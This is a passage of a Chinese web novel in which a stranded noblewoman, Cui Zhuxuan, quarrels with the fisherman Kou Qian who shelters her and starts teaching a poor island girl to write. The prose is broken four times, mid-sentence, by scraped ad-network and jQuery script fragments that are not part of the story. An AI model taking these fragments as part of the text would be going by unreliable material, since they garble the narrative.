寇骞默了下,突然侧过身子,提起墙根底下一把砍刀,被雨水洗至透亮的刀刃晃进她的眼中,崔竹喧脸色一白,下意识往后退了几步,不成想,那人却紧跟了过来。 不会是因为她拿不出钱,他就要杀人了吧? 目光瞟向院门,正思忖着逃跑需要几步,那人却像是没发现她的异常,低眉叮嘱:“看着点,别淋着雨。” 她怔了一下,抬眸,是丑丑的油纸伞面,却将冷雨遮挡得严严实实。 “……你突然拿刀做什么?”崔竹喧偏过头,端出一副问责的语调,掩饰自己被唬住一瞬的事实。 寇骞将人送至檐下,把伞竖在柱子边沥水,“砍竹子做竹筏,先凑合着用几天。” “那也不用淋着雨去吧?” “不下雨时,得干别的。” 这回不必顾忌着她慢吞吞的动作,寇骞三两步便跨出院子,将木门一合,她就瞧不见他了。 崔竹喧攥了下裙摆,转身进了屋。 一只小木船又不值什么钱,她大可送他一条画舫,哪里就要这么急着做竹筏了?再说,她许的那些银子,难道还比不上一篓子臭鱼烂虾么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?世上哪有这种白痴,放着她这个家财万贯的摇钱树不讨好,非要去外面淋雨? 活该他被浇成落汤鸡! 崔竹喧在心底把寇骞从头到脚数落了一遍,坐在硬邦邦的床板上,目光所及之处,尽是可被挑出的刺,板凳四条腿不一样长,桌案生了满脸的麻子,铜镜背上横亘一道刀疤,草娃娃顶着副苦瓜相,桩桩件件,都如寇骞一般讨人厌。 她抬眸,连离得最近的床幔都梳个阴阳头——等等,这个,好像是她剪的。 她的气势一下子弱了下来,归根结底,他顶着恶风冷雨出门,是因为她。 她占了他的屋子,用了他的锦缎,吃了他的粮食,花了他的银子,如今还在咒骂他是个傻子……好像、确实有点不应该,若不是她昨日闹了那么一出,他也不必冒雨上山。 崔竹喧自认不是那等恩将仇报的白眼狼,给出的酬金不是小数目,可不管金饼还是银铤,都得等到她平安回家之后才行,如今她拿出的,不过是一根金簪,这跟拿着一文钱,要包下人家整个摊子的地痞流氓好像也无甚区别。 可除了金簪,她还有什么拿得出手? 崔竹喧开始恼恨,那日乘船时,为什么没在发髻上插个百八十根簪子,不然如今也不会这般良心不安,不过要真能倒回去,她一定不上甲板,不、是不在汛期乘船! 提到这个,她又想起了导致她沦落至此的罪魁祸首——蓝青溪。 也不知堂兄有没有将他好生收拾一顿,总不能她在穷乡僻壤里吃糠咽菜,他却在金殿玉阙里享美酒佳肴,但堂兄打猎都没赢过彩头,走时又是那副优柔寡断的模样,别是只带几根头发、半片指甲来向她交差。 指望那个不靠谱的,不如她自己动手。 崔竹喧下床翻了许久,终于寻出来剩半截的墨条和快秃顶的毛笔,混着雨水,将墨研开,把笔杆下稀疏的毛发浸到臭烘烘的黑水里,在草纸上写出一个蓝,又在第二张上写了一个寇,分别贴到草娃娃的脑门上。 她揪了根手指粗的树枝,将左边的“蓝”草娃娃抽得满桌打滚儿,若换成真人,此刻必然已皮开肉绽了。至于右边,念在寇骞既有功劳也有苦劳的份上,她勉为其难地把他的冒犯之罪从轻发落,只往它的脑袋上敲了几下,在纸上压出几道折痕。 “阿姐,你在做什么?” 崔竹喧敲打得正认真,全然没听见混在雨声中的一点贝壳细微的碰撞声,以至于被这陡然冒出的稚童声音,惊了一跳,树枝从指间逃脱,扑在“寇”娃娃身上,摔倒成一摊。 “你、你是什么人?为什么突然闯进来?” 小丫头一双小小的眼睛弯成了两道月牙,笑盈盈地凑上来,“是老大派我来的!” 瞧着不过七八岁大,却一点不怕生,目光略过崔竹喧,迅速锁定桌上两个草娃娃,仔仔细细地打量一番,将兴奋写了满眼,“阿姐是在玩过家家吗?” “胡说!我才不玩那种幼稚的东西!” 13. 013 利欲熏心 崔竹喧堂堂崔门贵女,自然当志趣高雅,平日里只该吟诗作画,焚香煮茶,说一千道一万,就是咬死自己在大行巫蛊之术,也坚决不肯承认与那些个矇昧无知的孩童有任何的共同点,当然,事情还没糟到那一步,顶着小丫头澄澈的目光,她解释道:“我是在练字。” 将草娃娃头顶的纸揭下来,铺在桌面上,大约是因着近墨者黑,学得了寇骞十分之一的胡诌本事,她便敢脸不红心不跳地信口开河,“读书习字能修身养性、平心静气,宁可食无肉,不可腹无书。” 她板着脸轻咳两声,正准备将人打发出去,面前却突然伸过来一只细细黑黑、被疤痕爬满的拳头,小小的拳头缓缓张开,露出掌心的一个油纸包。 油纸包的样式有些眼熟,应当同昨夜寇骞给她的是同一种,里头装着又腻又粘牙的饴糖,难吃得很,可她顺着油纸包往上望去,看见的是一双小心翼翼的眼睛,“那我把老大给的糖还给你,我每日来帮你编辫子,你教我读书写字,可以吗?” “我又不是教书先生,这怎么能行?” “可是,白原洲,没有教书先生……” 崔竹喧顿了下,想起这是个连大夫都没有的穷乡僻壤来着,“你不如去县城里问问,进个学堂,将来也好谋个一官半职的,要是凑不齐束脩——” 她扫了眼面前人的打扮,深褐色粗布做的衣裳,宽大了许多,袖口和裤脚都是翻卷着叠起,目光一瞟,就是大块大块的补丁,与其说是衣裳烂了后的缝缝补补,倒不如说是捡了剩布头拼凑到一块儿成的衣裳。 ——定然是凑不齐束脩的。 但崔竹喧确实是身无长物,没有哪个士族落魄到需要把钱袋子系在自己腰上的吧,总归她是不系的,嫌沉得慌,也就致使如今没什么东西拿得出手。 但话开了头,总不能这么没了后续,她绕到屋后,把仅剩下一只的绣花鞋拎了过来,寻了把剪子,只是剪头方探进细线里,黑色的小手便护在了皎白的珍珠上,“好漂亮的鞋子!阿姐,还是别剪了吧?” 干瘪的手指虚虚地盖在上头,好像底下被河沙冲刷许久也没破损的缎面,会因着指腹轻点,便寸寸崩裂似的,“我只随口说说,阿姐怎么还当真了?” 话间的愁绪清浅,在小丫头抬头刹那便悄然散去,那双眼睛仍是弯得像两道月牙,对她粲然一笑,“阿姐今日的头发梳好了,那我明日再来吧!” 黑黑瘦瘦的身影消匿在雨幕中,只有粗劣的油纸包被端端正正地摆在桌案上。 雨下得越发密,好像是天上破了一个窟窿,不仅没人抓紧时间缝补,反倒放任其越裂越大,从滴滴点点、丝丝缕缕地泄漏,到一瓢瓢、一桶桶地往下倾倒,等再度有人推门时,崔竹喧掀帘望去,昏暗的暮色里,屋前的柿子花已落光了。 被寇骞晾在檐下的蓑衣上粘着半青半黄的竹叶,却没见着他把竹筏一并带回来,应是还没有做完,她理当寒暄几句,那人却并不看她,只是急匆匆地进了厨房。 那头生火,做饭,忙得不可开交。 这边仍是听雨,赏景,哦,赏不了景了,白原洲可没人有闲钱幕天席地地添油点灯,剩下黑黢黢的一片,什么都看不清。 但不管忙人、闲人,总归要坐到同一张桌子上吃饭。 明明白日里还有许多问题想问,如今却不知该从哪个开口,崔竹喧心不在焉地把汤匙往嘴里送,连里头盛没盛上汤都没注意上,一碗汤喝了半晌,还是原原本本那一碗,终是惹来了下厨人不满地质问:“咸了?淡了?还是你不吃这个?” 刚刚还装装样子的人,这下干脆撂了汤匙,“白日里那个小孩,你能不能把她送去学堂读书?” 寇骞有些讶然地看了她一眼,但这并不妨碍他拒绝得果断,“不能。” “不是立刻就送,可以等汛期过去再送,她的束脩我全包了,还可以再给你加一笔跑腿的费用。” “也不能。” 崔竹喧蹙眉瞪过去,后者神色自若地喝汤吃饭,木箸一夹,牙齿一咬,喉头一滚,被煮至金黄的蛤蜊肉便下了肚,他再把不能吃的壳往盆里一扔,堆叠成一座小山。 “寇骞!我在和你说话呢,你就不能认真一点吗?” “你说,某听着,”寇骞轻叹一口气,抓了把头发,比起招惹这位祖宗,还是忍着饿放下木箸好些,“但如果还是刚刚那件事,免谈,不能就是不能,她不能出白原洲,不能渡河,更不能进学堂。” 难道是因这穷山恶水地,还留着重男轻女的陋习? 崔竹喧望过去的目光不由得带上了一分鄙夷,不屑与愚民相争,是故,退而求其次地开口:“那给她备件新衣裳,我把你剩下的布料买了,或者从给我的布料里匀一身给她,这总行了吧?” “今夜不当祖宗,改做菩萨了?”这般阴阳怪气的语调,招得崔竹喧又一个眼刀,他却浑然不在意,“她和你不一样,穿先前那身就行。” “怎么不一样了?就算是她付不起钱,我替她付,如何就不能穿身体面的衣裳?”除非是纹龙绣凤,不然世上哪有花了钱还不能穿的衣裳,想到这,她面色一凛,眼神古怪地看过去,“还是说,你给我订那些衣裳,是别有用心?” 寇骞几乎要被她这番愈发离谱的推断气笑了,“既然发善心,怎么只可怜她,不可怜可怜我?我把你当祖宗似的供着,还要被你扣一顶屎盆子。” 崔竹喧生平第一次被这般腌臢话灌进耳朵,气红了一张脸,浑身都要抖起来,“你、你粗俗!” 瞧瞧,小祖宗连骂人都不会,他一个粗人,哪能不俗呢? 蛤蜊汤凉了会腥,瞟了眼碗中越发稀薄的热气,寇骞已然准备低头认错,换一顿安稳饭吃,却在听到下一句质问时,蓦然变了脸色。 “你若是真真切切的好人,怎能对那个食不果腹、衣不蔽体的孩子不闻不问?说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到底,你就是见色起意、利欲熏心!见从她身上谋不得任何好处,所以才百般吝啬!” “你哪只眼睛见着她食不果腹、衣不蔽体?” 能被一颗饴糖支使来支使去,又是那样铺满补丁的不合身的衣裳,这不是显而易见?是以,崔竹喧答得信誓旦旦,“两只眼睛都见到了!” “好,她可怜,你善良,我恶毒。” “难道不是?” 寇骞止了声,看见一双防备的眼睛里映着他冷硬的眉眼,忽然觉得可笑,用来哄骗人的说辞,怎么把自己也一道哄了进去,轻嗤着承认,“是,我恶毒,养着你就是为了拉出去换钱,扒皮抽骨,心肝脾肺肾挨个卖个遍!” 屋内倏然静下来,外头是雨滴从檐角滚落,这头是泪珠从眼尾淌下。 她眼里的恐惧是真的,面上的惊惶也是真的,好似唯有他的百般讨好是假的。 寇骞忙伸手想去帮她擦擦,将将靠近时,她本能地瑟缩一下,于是那只手便只能木讷地撤回来。 “刚刚是气话,某不干杀人的勾当。” “某不会对你做什么的。” “……等能渡河了,某便送你离开,绝不食言。” * 槐树下的屋子内,寇骞将湿透的衣裳随手挂到炭盆上熏烤,扯了件袍子,松松垮垮地披在身上,第一顿晚饭吃得不欢而散,索性挪个新地,吃第二顿。 现成的两菜一汤,还有热腾腾的白米饭,这不比在那边生火炒菜、刷锅洗碗舒服得多?他定是脑子有问题,才会眼巴巴地跑去给别人洗手作羹汤! “老大,你不是早上才说不在这儿吃么?” “……不行?” 阿树咬牙扯出一个笑,恨不得把上一秒多嘴的自己一并下锅炖了,怎么就改不了爱搭话这个破毛病呢? 他这厢正深切反思着呢,耐不住边上一个没头脑也跟着胡咧咧地插话,“老大,那你明早在哪吃啊?” “在这!” “那你养的那只肥羊呢?” “饿着,”寇骞冷笑一声,“还能天天哄着她玩过家家不成?” 胡乱灌了碗酒下肚,撩帘进了里屋,第二顿晚饭,也不算欢。 剩下桌案前的阿树和牛二面面相觑,一头雾水,而后胡吃海塞。 “老大怎么不吃啊?是不是你手艺太差,做菜太难吃啊?”牛二捻了根鱼刺剔牙,大胆猜测道。 “屁!”阿树立时反驳,忽而意识到什么,向牛二招了招手,示意他附耳过来,小声蛐蛐,“明显是在小娘子那没讨到好,失恋的男人嘛,都这样,我见得多了!” 牛二有些迟疑,“还有谁也失恋?” 阿树一时语塞,恶狠狠地剜过去一眼,也闷了一碗酒,进屋睡觉。 牛二对着满桌狼藉沉吟许久,忽而灵光一闪,醍醐灌顶: 失他大爷的失恋,这俩人就是不想洗碗! 14. 014 酸馅馒头 照理说,酒足饭饱,再加上阿树那个能顶着雷鸣般呼噜声安然入梦的睡眠质量,绝对是能一觉到天亮的,偏偏,鼻头耸动,两个鼻孔一张一合,上头的一双眼睛便倏然睁了开来。 无他,梦里的大鱼大肉,哪能跟真真切切的佳肴打对台,浓郁的鲜香一涌,脑子当即被攻占下来,支使着躯体黑灯瞎火地往后厨摸。 阿树一边走,一边往下吞咽着口水,靠一个鼻子在稠密的雨雾中嗅出食物的种类——酸馅馒头,他能一口吃八个! 他顿时有了精神,步子愈大愈快,只是冲进厨房,却没能瞧见人影,灶膛的火星子倒是刚灭,锅上的蒸屉冒着热气,正是烫手的时候。他寻了块抹布,急吼吼地将盖子先开来,水汽立时扑了满眼。 阿树揉了揉眼睛,低头望去,不可置信地重新揉了一遍,可该有的酸馅馒头还是一个都没有,他不甘心地把蒸屉布上残留的面皮搓成一团,塞进嘴里,不顶饿,反倒被那软绵绵的口感勾出了肚里的馋虫。 咕噜噜的腹鸣响在了淅淅沥沥的雨声中,他竖着耳朵,隐约听见了个说话声,粗眉一横,就拎了根棒子往外蹿,定是有人把他的份一并吃了! 左脚追着右脚,从屋后跨到屋前,瞧见那道敞开的门缝,当即紧了紧右手,势要教训教训这个偷吃的贼,只是棒子弗一举起,门缝里就闯出来个人,阿树慌忙把棒子拢到身后,在雨里站得笔直。 “醒了就烧饭去。” 寇骞面无表情地合上门,从他身边略过,可股子菜香味儿,已然不由分说地钻进了他的鼻头——更饿了。 他咋就没有张嘴等吃的命呢? 阿树悻悻地跟在后头,难过良久,在走路不看路导致一头撞上柱子后,呲牙咧嘴地对上了寇骞一言难尽的表情。 “……还有一笼,吃去吧,给牛二留点就行。” * 崔竹喧昨夜被气哭一回。 没错,是气哭,不是吓哭! 她思来想去,就寇骞那副能被她轻易呼来喝去的模样,能是什么穷凶极恶之徒,焉能吓唬到她这个见惯了大风大浪的世家贵女,不过是一时没反应过来罢了,等她得了势,非得提刀架在这打渔的脖子上,将他吓得哭爹喊娘、涕泗横流。 至于现在么,寇骞出言不逊、态度不敬,她要扣他一百两银子,以儆效尤! 这般处决,心头那点郁气便彻底没了,崔竹喧神清气爽地洗漱完,就等着寇骞上门,亲口告诉他这个“好消息”。 然,叩门声照常响起,门外站的却不是那个人。 小丫头仍穿着那身肥大的衣裳,也不撑伞,就紧挨着屋檐站着,头顶的发丝被绵密的雨珠黏成条条缕缕,两手只顾着将一个小竹篮抱得严实,见门开了,便踮起脚尖往里冲,等崔竹喧合好门跟上时,小丫头已然将篮子里的宝贝摆上桌,招着手要向她邀功呢。 “阿姐,快来,刚出锅的馒头,再香不过了!” 许是一路走来,热气被吹散了大半,崔竹喧用木箸夹起一个,试探性地咬下黄豆大小的一块,不烫嘴,便放心地咬下去,绵绵软软的面皮裹着咸香的酸菜入口,貌不惊人的馒头,吃起来却别有一番风味。 小丫头便没她这般讲究了,檐下接了些雨水净手,就一手拿了一个,左一口右一口,将腮帮子填得鼓鼓囊囊,别说什么细嚼慢咽的,只恨不能把嗓子眼扣大些,将馒头一股脑儿塞进去。 却不想,吃得这般认真,却还空出点余光紧盯着她,瞧见崔竹喧搁下木箸,忙把伸进盘子里的手又撤回来,舌尖意犹未尽地舔过齿缝,显然是没吃饱。 “你不吃了?” 小丫头的目光在剩余的半盘馒头上流连,挨个惜别后,忍痛挪开目光,“老大只说让我陪你吃,没说我可以都吃完……要不阿姐你再吃一个吧?我这回吃快些!” “他又不在,有什么好怕的?”话虽如此,崔竹喧还是配合地夹了一个馒头进碗,把自己伪装成正在用膳的模样,“寇骞平日里也是如此,不让你吃饱饭?还支使你干乱七八糟的活?” “没有,老大上个月分给我的米,我都还没吃完呢!”小丫头顿了下,窘迫地挠了下头,“只是这个馒头太香了,老大很少肯给我做,上回——上回还是我染了风寒,以为自己要死了,哭了好久,他才肯下厨。” 风寒了吃馒头有什么用?怎么想也该是熬些参汤温补才对。崔竹喧不认同地想着,对面人却说至兴头,索性一屁股从板凳上弹起来,两手挥舞着比划,“老大可是在元兴楼待过的,整个白原洲都找不出第二个!” “元兴楼是哪?” “汾桡县最大的酒楼!” 崔竹喧微微挑眉,又问:“当掌勺大厨?” 小丫头顿时卡了壳,满面红光憋了回去,闷闷地坐回凳子上,半晌才出声:“是洗盘子的小工。” 堂屋里沉寂下来,只剩唇齿的咀嚼声和吞咽声。 这般似曾相识的画面,让崔竹喧后知后觉地反应过来,自己又把天聊死了,她只能转起一个新的话头,“你叫什么名字?我今日先从教你写名字开始。” 小丫头忙灌了半碗水将馒头顺下去,“阿鲤,鲤鱼的鲤!” 崔竹喧否决了阿鲤想拿着树枝在黄泥地上练字的提议,头上淋雨,脚底踩泥,这哪有个读书的样子,纵然凑不齐学堂和大儒,好歹桌案和笔墨得有吧? 把桌上的多余物什撤掉,将泛黄的纸展开铺平,边角处用粗瓷碗压好,而后就是研墨、蘸墨,她捻着笔杆,在隶草行楷中犹豫不决,又在赵颜欧柳中举棋不定,但在瞥见边上人五指合拢的握笔姿势后,默然地扯动笔尖在纸面行走。 跟文盲探讨字间风骨无异于对牛弹琴,只需横平竖直地把笔画写清就好。 崔竹喧罕有耐性这般好的时候,连着演示三遍,这才把笔杆子递了过去。后者虽接了笔,却不急着落笔,右手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 举至眼前,左手吹毛求疵地上前调整指腹的位置,这个上去些,那个下去些,恨不得每根手指的间隔都跟方才瞧见的一模一样。 这还不算完,阿鲤深吸一口气,手腕下落,但落至笔尖与纸面相隔寸余时便停下,悬空临摹着,一边动腕,一边嘴里念念有词,崔竹喧不动声色地凑近了些,这才听清: 一撇,二横撇,三竖…… “怎么不直接写出来?” “若写个错字上去,不就糟蹋了这纸?”阿鲤肉眼可见的紧张,每一次的呼吸,带着细细的笔尖都跟着轻颤,“我再准备一下。” 崔竹喧不置可否地在旁边落座,随手拿起草娃娃,打量着它脑门贴着的纸条。 色泽不够鲜亮,触手不够细腻,不够薄,不够轻,表面凹凸不平,边缘歪斜毛糙,别说是用来写字,便是拿去拧成一团砸人,她都要嫌这不够挺括结实,这种差劲的东西,有什么值得吝惜的必要? 蓝氏每年送来顶好的凝光纸,还不是由着她肆意涂抹,随意挥霍。 为纸发愁,崔竹喧平生还未有过。 “这纸,很贵吗?”她状若不经意地开口。 “贵,听说家里有好几亩地的人家都买不起纸读书,不然,读了书,去给人当账房可能挣好些银钱呢!” 崔竹喧沉默一会儿,轻手轻脚地起身出门,回卧房清点纸张库存去了。 她不会把寇骞的家底儿都给掏空了吧? 虽说这其中有寇骞家底儿太薄的原因,可现在还不知道哪天能走呢,要是寇骞没钱了,她岂不是得跟着一并喝西北风去? 痛定思痛,她决定采纳那个被她否决的提议,从明日起,还是让阿鲤去黄泥地练字去,当然,她还是用笔墨的,最多,最多俭省着些,墨里多掺水,字写小,维持在勉强能看清的程度就行。 阿鲤比她在族学里见过的那些个同窗勤勉得多,待她回去时,阿鲤已然洋洋洒洒写了满纸乌黑,风骨气韵自是没有,但肉眼可见的,越到后头,越是工整,那些个颤抖的线条,都慢慢舒展开来,笨头笨脑地立着。 丑是丑了些,但没一个错字。 阿鲤珍而重之地将那张纸仔细叠好,放在贴近心口的位置,又如约帮她梳好辫子,这才拎着篮子离开。 仍是不撑伞也不戴斗笠的,只是这回,小心护着的不是那只小小的篮子,而是心口那页粗糙的纸。 要不然,还是用在纸上写吧? 崔竹喧想,大不了把鞋上的珍珠当了,好歹也算是她的学生,太过穷酸,传出去,丢的不还是她的面子? 合上院门,回到堂屋,这才记起还未收拣的笔墨,欲要清洗时,瞥见砚台里余下的三四滴墨汁。 这般倒了,有些浪费。 她忽然想起那把丑丑的油纸伞,没有画,便由她画一幅上去。 孤高挺拔的竹子,是她。 又破又硬的石头,是寇骞。 15. 015 得寸进尺 白原洲没有晨钟暮鼓,也寻不出日晷滴漏,平常全靠抬头望眼日老头判断时辰,只是阴雨连绵,眼神穿不过云层,那是早是晚便只能凭直觉判断了。 诸如现在,阿树摸着自己干瘪的肚皮,里头的馋虫似又有哀嚎的趋势,这就是该准备晚饭的时辰。 他踢了脚边上的牛二,后者一动不动,宛若死尸,他又猛踹一脚,惊起一声哀嚎,牛二这才不情不愿地蠕动起来,趴在竹席子上,手脚一点点往中间缩,撅起一个挺翘的屁股,而后是背,是头,最后才舍得把脚塞进草鞋,精神萎靡地飘向后厨。 行至门槛前,牛二揉了揉眼睛,硬生生把一张胡子拉碴的脸揉出几分含羞带喜,嘴角都不知往哪放,“老大,咱今晚吃鱼啊?” 他迈着小碎步靠过去,眼珠子跟着刀刃上下滑动,就见鲜活的鲤鱼被刀身拍晕,剐了鳞,去了皮,鱼肉被一寸寸削成能透光的薄片,只消再蘸些梅酱,便是能端上达官贵人席面的佳肴了。 牛二努力控制着自己的口水不要冲破唇齿大关,就等着刀一停,一口气往嘴里倒上半盘,可等着等着,却见鱼脍装了盘,洒了梅酱,进了篮子,最后才递向自己。 不是,从后厨到堂屋才几步路啊,还用得着包这么严实? 他张嘴欲问,对面人却先开了口:“送我家去。” 牛二不可置信地瞪大眼睛,“你吃独食?!!” 寇骞顿了下,补充道:“给我家那个小……崔娘子的,你送完就回来,不要久留。” 牛二面露鄙夷,前两日还说要饿着给个教训呢,结果这是按时按点,一顿不落,还次次不重样啊,可怜自己得饥肠辘辘地去给别人送吃食,越想越气,眉眼耷拉下来,一张脸苦大仇深,“那、那她吃鱼,咱也吃鱼嘛?” 寇骞敷衍地点头,牛二顿时眼神一亮。 “也吃鱼脍?” “可以,”而后在牛二满含期待的目光中加上了后半句,“你自己片。” 牛二试图挣扎一番,“我哪有老大这么好的刀工,肉是肉,骨是骨的。” 寇骞挑眉白了他一眼,“手艺不行就练去,练不成就剐了鳞生啃,把你美的,还想我亲自给你挑刺,要不要我亲自喂你啊?” “我就是想要,那你也不肯啊。” 牛二嘟囔几声,万般不情愿地迈出门槛,那步子,活像是在脚腕上绑了五六斤的沙袋,每一脚抬起来,都得深吸一口气使劲才行,拖拖拉拉,速度快得能和蜗牛相提并论。 寇骞拧眉盯了会儿,终是忍无可忍,三两步上去把篮子夺了回来。 都是因为这俩人没一个靠谱的,他才迫不得已、无可奈何地去送饭,绝不是因他上赶着过去想看看小祖宗气消了没有。 说来奇怪,分明是回自己的屋子,却得规规矩矩地叩门等着,甚至于,有几分心怯,比起她呜呜咽咽哭的模样,他反倒更情愿被她颐指气使地骂上几句,又或是被扯扯头发、拧拧皮肉,总归他又不是什么瓷人,挨碰一下便碎了,不如任她撒气。 寇骞拎着篮子站在檐下,想到那夜的景象,又开始犹豫,不然将吃食放在门口便走,免得她害怕,可她连在泥地走个路都要踮着脚尖,提着篮子进屋,难保不会在路上摔了,到时候肯定要哭鼻子的,兴许还是一边哭一边骂,届时就更难哄了。 还是,折中一下,送进屋再走。 如此,就必须得等着了。 门板向里被拉开,他握着篮子的手也跟着紧了些,所幸,没有再瞧见一张泪湿的脸,而是眉心微蹙的怒容,他立时做好了打不还手、骂不还口的准备,而门内的小祖宗也确确实实没有辜负他这番准备,扬着下巴,就开始一通数落。 “怎么今日没把事情交给旁人,自己偷闲躲懒?”门缝被崔竹喧堵得严严实实,摆明了要是他没说几句好话,就别想着进去。 “某这几日是在面壁思过,认真反省。” 崔竹喧冷笑一声,她才不信,这人指不定上哪逍遥快活去了,“反省出结果了吗?” “嗯,某决定痛改前非。” “具体点。” “……晨昏定省,向小祖宗请安?” 崔竹喧微微挑眉,盯着这个油嘴滑舌的讨厌鬼,没错过他眸中的促狭之意,威胁道:“那你最好说到做到,要是时辰到了,没见你的人影,别怪我扣掉你的酬金。” “还是十两一次?” “涨价了,二十两。” 寇骞想了想那岌岌可危的三个金饼,趁着檐下无雨,将布巾掀开一角,露出里头莹白如雪的鱼脍,贿赂之意不言而喻,“那某现在能进去了吗?” 崔竹喧状似不经意地扫过一眼,不置可否,只提着裙摆进屋,这便是默许了。 她在位置上坐好,等着后头人将鱼脍端上桌,布好碗筷,可那个向来与她同席的人,却突然忙活起一些无关紧要的细枝末节来,诸如解开帘下缠到一处的贝壳,给窗户换个角度淋雨,扶桌子,挪凳子,她等得不耐烦了,“你吃不吃?” 他顿时止了脚步,动作迅速地落座,倒像是特意在等她发话似的,但这人往日可没有这般拘礼过,崔竹喧不疑有他,用木箸将鱼脍上的梅酱抹匀,这才斯斯文文地小口咀嚼。 几片鱼下肚,崔竹喧突然喊道:“寇骞。” “在呢,小祖宗有什么吩咐?”被点名的人三两下吞咽一片鱼肉,规规矩矩地放下木箸,却歪歪斜斜地支着脑袋。 “……我若将鞋上的珍珠取下来当了,能换多少银子?” 寇骞讶然地看了她一眼,“若在市集上耐心寻个买家,兴许能卖个二两,送去当铺的话,八百文。” 两千文和八百文的区别,崔竹喧着实分辨不出来,唯一能确定的,就是少得可怜,毕竟她夏日里用来纳凉的一盆冰也不止这么点银钱,可自己答应教阿鲤习字在先,总不好突然反悔,是以,只能硬着头皮继续问:“那,这些钱能买 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到多少纸墨?” “用沙土练字的效果自然比不上纸笔,但阿鲤初学,消耗难免大些,你放在家里的那些,好像没剩下多少了……你放心,这些钱我不会少了你的,但现在急用,所以……” 寇骞看着她的目光有些复杂,“阿鲤出不了白原洲,她这辈子要么捕鱼,要么采珠,哪一项都不需要识文断字,你这般费心教她,也不过是做白工。” “她想学,我便教,难道做事非得派得上用场才成?”崔竹喧不满地反驳,“再说,一辈子那么长,哪里就只有那两种选择,你也是白原洲的人,你不一样进过县衙,去过酒楼,凭什么阿鲤就不能出去,还什么不能进学堂,焉知她日后不会成为德高望重的夫子呢?” 寇骞沉默下来,望着她,又越过她,看向窗外的暮色沉沉,漫天的雨丝又细又密,牢牢地网住洲上蒙昧的人,生不能逃,死不能离。他竟不知该如何解释,关于阿鲤,关于白原洲,关于他。 他忽而弯了下唇,觉得自己实在有些可笑,有何必要解释,算来不过萍水相逢。 “某会准备好的。” “那我去把珠子取来。”崔竹喧作势起身,却见对面人摇了摇头。 “某尚且有些余钱。” “不是穷得揭不开锅了吗?” 崔竹喧拿他上回的胡话刺过去,这个厚脸皮的人却没有半分羞愧,甚至顺着她这话头继续胡编下去,“哦,是这样,某运气好,在水里捞起来些值钱物件。” 呸,他的船都没了,上哪捞去? 她懒得再同他掰扯区区几两碎银的小事,“那权当是我当给你了,你哪日缺钱了,自去卖了就好。” 寇骞随意点头应了,确认过她已吃饱,便风卷残云般把剩余的鱼脍一扫而光,拎着篮子准备走时,却被急匆匆地扯住袖口。 “等等,今日范娘子给我送了新做好的衣裳。” 寇骞眨了眨眼睛,顿时明了,这是拐着弯要使唤自己呢,“行,某去备水。” 但是袖子上的手仍未松,那个习惯了颐指气使的小祖宗,难得地扭捏起来,许是因为意识到自己实在不占理,声音都较平常弱了许多,“不止是今天,还有之后,每天……” 寇骞几乎要被她的得寸进尺气笑了,这是真把他当小厮支使了? “厨房的柴火一点都不齐整,净是木刺,连下手拿的地方都没有,水桶又很重,还没有火折子,我这几日只能将就着用冷水擦洗,都快冷出病了!” 崔竹喧偏过头,“大不了,我再给你加钱。” 寇骞只好把拒绝的话咽下去,扶额走出房门。 活该他捞起一个小祖宗。 他还能怎么办? 自然是认命地窝在灶台下添柴烧火,然后安慰自己,烧一天是烧,烧一个月也是烧。 这边看着锅里的洗澡水,那边还要盯着药炉子里的桂枝汤,免得她真的染了风寒,更加变本加厉地折腾他。 16. 016 崔女浣纱 一日一浴是贵女的基本修养,崔竹喧硬生生熬了几日,好不容易浸泡到温热的水中,不由得舒服地发出一声喟叹,末了,又觉得自己没出息,竟能被区区一澡盆水给打发。 于是狠倒了一把澡豆,将上上下下仔细搓洗一遍,干净是干净了,就是缺了些香,香膏是没得指望,也不知下次能不能遣寇骞寻些花瓣来。 用手巾擦干身子,换上新缝制好的衣裳。 不是她惯常穿的各类裙裳,而是一件胡服,许是为了方便她出行吧,毕竟这处别说汉白玉的地砖,便是青石板的路面都少得可怜。至于花样方面,实在没有评价的必要,只针脚细密,舒适合体。范娘子还贴心地给她提前做了几身贴身的衣物和巾帕,方便换洗,确实是上心了。 值得颁个“白原洲第一绣娘”的匾额。 可再仔细回想一番,范娘子那瓦缝檐角都被苔藓霸占着,这匾额挂上去,不消几日,便要朽了,还是作罢。 歪着脑袋将湿漉漉的发丝归拢到一处,用细带系了个结,踩着崭新的软布鞋出去,刚进堂屋,就瞧见一张不知从哪被拖出来的摇椅,而寇骞那个不讲究的,此刻正大剌剌地躺在上头。 “寇骞。” 崔竹喧喊了一声,却没等来回应,当即蹙了眉,就这还好意思说晨昏定省来问安?可走近几步,瞧见的是他合拢的眉眼——睡着了? 她打量过去,第一反应就是这人的睡相差得很。一只手枕在脑后,一只手垂在椅下,一条腿曲着竖起,一条腿盘在旁边,四肢就没一样放得周正,活生生是副野性未脱的猿猴相,唯独看得过去的,就是那张脸。 许是因灯下看美人,别有一番意趣,暖黄的烛火将他的眉眼都映衬地温和了些,狭长的眉,高挺的鼻,似乎都顺眼了许多。崔竹喧又凑近了些,自眼尾看向垂下的眼睫,长长的,带着一点卷,仿佛是比照着画卷上的美人一寸寸照着长的,不然怎么能这般齐整,根根分明。 唯二不太好的,就是皮肤不够白,脸也不够嫩。 她用食指试探着落在他的脸颊,屏住呼吸,轻抚过去,果然如她预想中的那般,别说是同她比,便是同金缕比,也糙了不止一丁半点。 桃花和雪以靧面,再细细敷层珠粉,唇瓣上些无色口脂养护着…… 崔竹喧正思忖着养肤的方子,抬眸,倏然对上一双冷冽的眼睛,匆忙把那只逾矩的手收回去,不自然地背在身后。所幸,他应是刚醒,似乎没有注意到她那点小动作,只是望着她,然后用带着点哑意的声音问:“……干什么?” 她神情倨傲地吩咐道:“你起来,让我坐会儿。” 寇骞眨了眨眼睛,两道眉慢慢拧到了一处,俨然是被她的蛮不讲理震惊到了,“全家就只有这一把椅子?” “那你坐别的椅子去。” “为什么不是你坐别的椅子?” 崔竹喧端的一副理所当然的态度,“因为我现在想坐这。” 